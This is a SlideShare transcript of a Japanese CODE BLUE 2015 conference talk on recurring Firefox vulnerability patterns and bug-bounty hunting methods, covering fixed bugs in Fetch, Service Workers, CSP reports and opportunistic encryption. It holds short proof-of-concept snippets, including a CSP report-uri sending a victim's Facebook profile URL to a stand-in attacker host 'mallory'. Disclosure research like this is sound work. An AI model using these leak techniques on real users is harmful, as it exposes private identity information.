SlideShare a Scribd company logo
1 of 50
Download to read offline
Firefoxの倒し方
CODE BLUE 2015
“Foxkeh" (C) 2006 Mozilla Japan
61,500ドル (約740万円)
Bug 1065909 Bug 1109276 Bug 1162018 Bug 1196740
Bug 1069762 Bug 1148328 Bug 1162411 Bug 1198078
Bug 1080987 Bug 1149094 Bug 1164397 Bug 1207556
Bug 1101158 Bug 1157216 Bug 1190038 Bug 1208520
Bug 1102204 Bug 1158715 Bug 1190139 Bug 1208956
Bug 1106713 Bug 1160069 Bug 1192595
私の1年間の実績
Firefoxの倒し方
本日のテーマ
• Firefoxには、共通する脆弱性のパターンがある
• 開発者にも周知されておらず、新しい機能が追加される度、
同じような脆弱性が作り込まれている
“Foxkeh" (C) 2006 Mozilla Japan
Firefoxの倒し方
• パターンを覚えれば、効率的に脆弱性を発見できる
• CODE BLUEの参加費も報奨金で回収できる
“Foxkeh" (C) 2006 Mozilla Japan
本日のテーマ
仕様の実装漏れ
“Foxkeh" (C) 2006 Mozilla Japan
脆弱性のパターン 1/3
• IETFやW3Cなどの標準化団体が仕様を策定
仕様書は誰でもダウンロードできる
• 仕様書には、機能の実装要件が記載されている
ブラウザにその機能を実装することで生じるセキュリティリスクや
その対処方法も記載されている
ブラウザの機能とその仕様
• 仕様に書かれている要件がたまに実装されていない
コミット時のレビューやテストが足りていない
• 仕様書に沿ってテストを書けば脆弱性を発見できる
120万円くらいはこの方法で獲得
Firefoxにおける仕様の実装漏れ
Fetch APIにおける
リクエストヘッダ制限の実装漏れ
実例
Bug 1162411
Fetch APIとは
• HTTPによる非同期通信を行うことのできるAPI
ざっくり言えば、XMLHttpRequestを改良したもの
HTTPリクエスト
fetch('http://example.jp/')
HTTPレスポンス
http://example.jp/
Fetch APIの使用例
fetch( 'http://api.example.jp/path', {
method: 'POST',
headers: {
'Content-Type' : 'text/plain'
},
body: 'Hello World'
}).then(function(res) {
console.log(res.headers.get( 'Content-Type' ));
})
Fetch APIに課せられた仕様上の制限
fetch( 'http://api.example.jp/path', {
method: 'POST',
headers: {
'Content-Type' : 'text/plain'
},
body: 'Hello World'
}).then(function(res) {
console.log(res.headers.get( 'Content-Type' ));
})
TRACEなどは指定禁止
HostやCookieなどは指定禁止
GETやHEADメソッドのときは指定禁止
Set-Cookieなどは指定禁止
Firefoxに存在した実装漏れ
fetch( 'http://api.example.jp/path', {
method: 'POST',
headers: {
'Content-Type' : 'text/plain'
},
body: 'Hello World'
}).then(function(res) {
console.log(res.headers.get( 'Content-Type' ));
})
任意のリクエストヘッダを指定できた
DEMO
HTTPリダイレクトの
実装不備
“Foxkeh" (C) 2006 Mozilla Japan
脆弱性のパターン 2/3
HTTPリダイレクトとは
same.tld other.tld
http://same.tld/
Location: http://other.tld/
http://other.tld/
Response
HTTPリダイレクト
HTTPリダイレクトの落とし穴 (1/2)
same.tld other.tld
http://same.tld/
Location: http://other.tld/
http://other.tld/
Response
HTTPリダイレクト
リクエストに指定されたオリジンと…
最終的に応答を返すオリジンは
異なる場合がある
Service Workers (SW)における
キャッシュデータのオリジン誤り
実例
Bug 1164397
DEMO
http://example.jp/
Service Workers (SW)とは
• ページのバックグラウンド処理を担うワーカー
ページで発生した通信を仲介し、キャッシュなどを制御
SWPage
Cache
Firefoxに存在したオリジン誤り
SWPage
(mallory)
Cache
mallory
facebook
mallory/resource mallory/resource
Redirection
facebook のレスポンスを
malloryのデータとして
キャッシュしてしまう
HTTPリダイレクトの落とし穴 (2/2)
• リダイレクト後のURLには機微な情報が含まれうる
リダイレクト先のサイトにログインしているユーザの名前など
• リダイレクト後のURLは他のオリジンから参照禁止
エラーメッセージなどにリダイレクト後のURLが含まれてはならない
(例) Facebook
https://www.facebook.com/profile.php
301 Moved Permanently
(例) Windows Azure
https://manage.windowsazure.com
302 Found
CVE-2014-1487 by Masato Kinugawa
window.onerror = function( e ) { alert( e ); }
new Worker('redirect?to=https://www.facebook.com/profile.php');
他のサイトをワーカースクリプト
として読み込む
window.onerror = function( e ) { alert( e ); }
new Worker('redirect?to=https://www.facebook.com/profile.php');
CVE-2014-1487 by Masato Kinugawa
閲覧者のFacebookプロフィールを特定可能
CSP違反レポートにおける
他のサイトのURL漏洩
実例
Bug 1069762 (CVE-2014-1591)
以下のページをユーザに開かせると
// HTTP Response Header
Content-Security-Policy-Report-Only "frame-src 'none';
report-uri http://mallory/spy;"
// Exploit HTML
<iframe src="https://www.facebook.com/profile.php">
以下のデータが攻撃者に送信される
// HTTP Response Header
Content-Security-Policy-Report-Only "frame-src 'none';
report-uri http://mallory/spy;"
// Exploit HTML
<iframe src="https://www.facebook.com/profile.php">
http://www.w3.org/TR/2012/CR-CSP-20121115/
CSPの仕様書にも書いてあるのに!
Network(Necko)との一貫性に
起因する問題
“Foxkeh" (C) 2006 Mozilla Japan
脆弱性のパターン 3/3
Firefoxのアーキテクチャ
Thanks to Makoto Kato (Mozilla Japan)
https://docs.google.com/presentation/d/17KvlHVH2JsioGuPKCuBDayjK6WSJoTLfzgpiMG1SKpY
ネットワーク通信モジュール
DOM操作および各APIの実装
セキュリティ検証の典型的な例
Page
DOM / Web API
Network
(Necko)
通信要求
オリジンの検証 サーバの検証
セキュリティ検証の典型的な例
Page
DOM / Web API
Network
(Necko)
通信要求
オリジンの検証 サーバの検証
これら2つの性質の違いにより
脆弱性が発生する
日和見暗号(OE)による
SSLサーバ証明書検証のバイパス
実例
Bug 1148328 (CVE-2015-0799)
日和見暗号(OE)
• http: の通信内容を暗号化
国家による大規模な盗聴(Pervasive Surveillance)の対策。
http/2の拡張仕様として議論中
• サーバ認証せずにTLSで暗号化
無効な証明書によるTLSでも平文で通信するよりは安全。
https: で接続する際は、従来どおりサーバ認証する
DEMO
証明書検証回避のシーケンス
twitter(偽)
http://mallory
http://twitterでOE開始を要求
mallory
証明書検証なしでTLS接続(OE)
Session Ticket発行
https://twitter Session Ticketを使ってTLS接続要求
接続確立(セッション再開)
脆弱性発生のメカニズム
Page
DOM / Web API
Network
(Necko)
http:とhttps:は
異なるオリジン
OEとhttps:は
TLSの実装を共有
http://twitter と https://twitter の
Session Ticket は分ける必要がある
“Foxkeh" (C) 2006 Mozilla Japan
脆弱性の見つけ方
脆弱性のパターンを継続的に試す
• 新しく搭載された機能で過去の脆弱性が再発
Firefoxは6週間ごとにメジャーバージョンアップ。
過去の経緯を知らないコミッターが類似の脆弱性を作り込む
• 過去の脆弱性と新しい機能に関する情報を収集
過去の脆弱性をパターン化し、新しく搭載された機能で試験する
情報収集するには
• セキュリティアドバイザリ (過去の脆弱性情報)
https://www.mozilla.org/en-US/security/known-vulnerabilities/firefox/
• Firefox 開発者向けリリースノート (新機能の情報)
https://developer.mozilla.org/en-US/Firefox/Releases
さらに情報収集するには
• Firefoxのコミットログ
http://hg.mozilla.org/mozilla-central/shortlog
• Bugzilla
https://bugzilla.mozilla.org/
コミットログを用いた脆弱性探し
アクセスできなければ
(恐らく)脆弱性の修正
Bugzillaを用いた脆弱性探し
• Mozillaセキュリティチームの行動を追跡
脆弱性の情報はセキュリティチームが管理している
非公開フラグが
外された!
報奨金を獲得した
バグがある!
“Foxkeh" (C) 2006 Mozilla Japan
さいごに
Mozillaの脆弱性対応の特徴
• 対応が早い
深刻度が高ければ約1か月、低くても2~3か月で修正される
深刻な影響を及ぼす場合は緊急アップデートが配信される
• 透明性が高い
修正されるまでの過程をBugzillaで閲覧できる
深刻度を判断した根拠をきちんと説明してくれる
既知のバグの報告者には当該のバグのアクセス権が付与される
Thanks!
Mozilla Security Team &
Mozilla Japan Guys
“Foxkeh" (C) 2006 Mozilla Japan

More Related Content

More from Muneaki Nishimura

OWASP Testing Guide からはじめよう - セキュリティ診断技術の共有、そして横展開
OWASP Testing Guide からはじめよう - セキュリティ診断技術の共有、そして横展開OWASP Testing Guide からはじめよう - セキュリティ診断技術の共有、そして横展開
OWASP Testing Guide からはじめよう - セキュリティ診断技術の共有、そして横展開Muneaki Nishimura
 
Webプラットフォームのセキュリティ
WebプラットフォームのセキュリティWebプラットフォームのセキュリティ
WebプラットフォームのセキュリティMuneaki Nishimura
 
Firefoxの日和見暗号がカジュアルに無効化された話
Firefoxの日和見暗号がカジュアルに無効化された話Firefoxの日和見暗号がカジュアルに無効化された話
Firefoxの日和見暗号がカジュアルに無効化された話Muneaki Nishimura
 
HPKP Supercookies (公開鍵ピンニングによるユーザ追跡)
HPKP Supercookies (公開鍵ピンニングによるユーザ追跡)HPKP Supercookies (公開鍵ピンニングによるユーザ追跡)
HPKP Supercookies (公開鍵ピンニングによるユーザ追跡)Muneaki Nishimura
 
Mozillaの報奨金制度で100万円ほど稼いだ話
Mozillaの報奨金制度で100万円ほど稼いだ話Mozillaの報奨金制度で100万円ほど稼いだ話
Mozillaの報奨金制度で100万円ほど稼いだ話Muneaki Nishimura
 
Future of Web Security Opened up by CSP
Future of Web Security Opened up by CSPFuture of Web Security Opened up by CSP
Future of Web Security Opened up by CSPMuneaki Nishimura
 
Welcome to the Black Hole of Bug Bounty Program Rebooted
Welcome to the Black Hole of Bug Bounty Program RebootedWelcome to the Black Hole of Bug Bounty Program Rebooted
Welcome to the Black Hole of Bug Bounty Program RebootedMuneaki Nishimura
 
そろそろ押さえておきたい AngularJSのセキュリティ
そろそろ押さえておきたい AngularJSのセキュリティそろそろ押さえておきたい AngularJSのセキュリティ
そろそろ押さえておきたい AngularJSのセキュリティMuneaki Nishimura
 
Welcome to the Black Hole of Bug Bounty Program
Welcome to the Black Hole of Bug Bounty ProgramWelcome to the Black Hole of Bug Bounty Program
Welcome to the Black Hole of Bug Bounty ProgramMuneaki Nishimura
 
Webアプリ開発者のためのHTML5セキュリティ入門
Webアプリ開発者のためのHTML5セキュリティ入門Webアプリ開発者のためのHTML5セキュリティ入門
Webアプリ開発者のためのHTML5セキュリティ入門Muneaki Nishimura
 
GeckoのLocal Storageについて調べてみた
GeckoのLocal Storageについて調べてみたGeckoのLocal Storageについて調べてみた
GeckoのLocal Storageについて調べてみたMuneaki Nishimura
 
Firefox OS パッケージ型アプリ インストールの仕組みを調べてみた
Firefox OS パッケージ型アプリ インストールの仕組みを調べてみたFirefox OS パッケージ型アプリ インストールの仕組みを調べてみた
Firefox OS パッケージ型アプリ インストールの仕組みを調べてみたMuneaki Nishimura
 
Firefox OS 起動の仕組みを調べてみた
Firefox OS 起動の仕組みを調べてみたFirefox OS 起動の仕組みを調べてみた
Firefox OS 起動の仕組みを調べてみたMuneaki Nishimura
 

More from Muneaki Nishimura (13)

OWASP Testing Guide からはじめよう - セキュリティ診断技術の共有、そして横展開
OWASP Testing Guide からはじめよう - セキュリティ診断技術の共有、そして横展開OWASP Testing Guide からはじめよう - セキュリティ診断技術の共有、そして横展開
OWASP Testing Guide からはじめよう - セキュリティ診断技術の共有、そして横展開
 
Webプラットフォームのセキュリティ
WebプラットフォームのセキュリティWebプラットフォームのセキュリティ
Webプラットフォームのセキュリティ
 
Firefoxの日和見暗号がカジュアルに無効化された話
Firefoxの日和見暗号がカジュアルに無効化された話Firefoxの日和見暗号がカジュアルに無効化された話
Firefoxの日和見暗号がカジュアルに無効化された話
 
HPKP Supercookies (公開鍵ピンニングによるユーザ追跡)
HPKP Supercookies (公開鍵ピンニングによるユーザ追跡)HPKP Supercookies (公開鍵ピンニングによるユーザ追跡)
HPKP Supercookies (公開鍵ピンニングによるユーザ追跡)
 
Mozillaの報奨金制度で100万円ほど稼いだ話
Mozillaの報奨金制度で100万円ほど稼いだ話Mozillaの報奨金制度で100万円ほど稼いだ話
Mozillaの報奨金制度で100万円ほど稼いだ話
 
Future of Web Security Opened up by CSP
Future of Web Security Opened up by CSPFuture of Web Security Opened up by CSP
Future of Web Security Opened up by CSP
 
Welcome to the Black Hole of Bug Bounty Program Rebooted
Welcome to the Black Hole of Bug Bounty Program RebootedWelcome to the Black Hole of Bug Bounty Program Rebooted
Welcome to the Black Hole of Bug Bounty Program Rebooted
 
そろそろ押さえておきたい AngularJSのセキュリティ
そろそろ押さえておきたい AngularJSのセキュリティそろそろ押さえておきたい AngularJSのセキュリティ
そろそろ押さえておきたい AngularJSのセキュリティ
 
Welcome to the Black Hole of Bug Bounty Program
Welcome to the Black Hole of Bug Bounty ProgramWelcome to the Black Hole of Bug Bounty Program
Welcome to the Black Hole of Bug Bounty Program
 
Webアプリ開発者のためのHTML5セキュリティ入門
Webアプリ開発者のためのHTML5セキュリティ入門Webアプリ開発者のためのHTML5セキュリティ入門
Webアプリ開発者のためのHTML5セキュリティ入門
 
GeckoのLocal Storageについて調べてみた
GeckoのLocal Storageについて調べてみたGeckoのLocal Storageについて調べてみた
GeckoのLocal Storageについて調べてみた
 
Firefox OS パッケージ型アプリ インストールの仕組みを調べてみた
Firefox OS パッケージ型アプリ インストールの仕組みを調べてみたFirefox OS パッケージ型アプリ インストールの仕組みを調べてみた
Firefox OS パッケージ型アプリ インストールの仕組みを調べてみた
 
Firefox OS 起動の仕組みを調べてみた
Firefox OS 起動の仕組みを調べてみたFirefox OS 起動の仕組みを調べてみた
Firefox OS 起動の仕組みを調べてみた
 

Firefoxの倒し方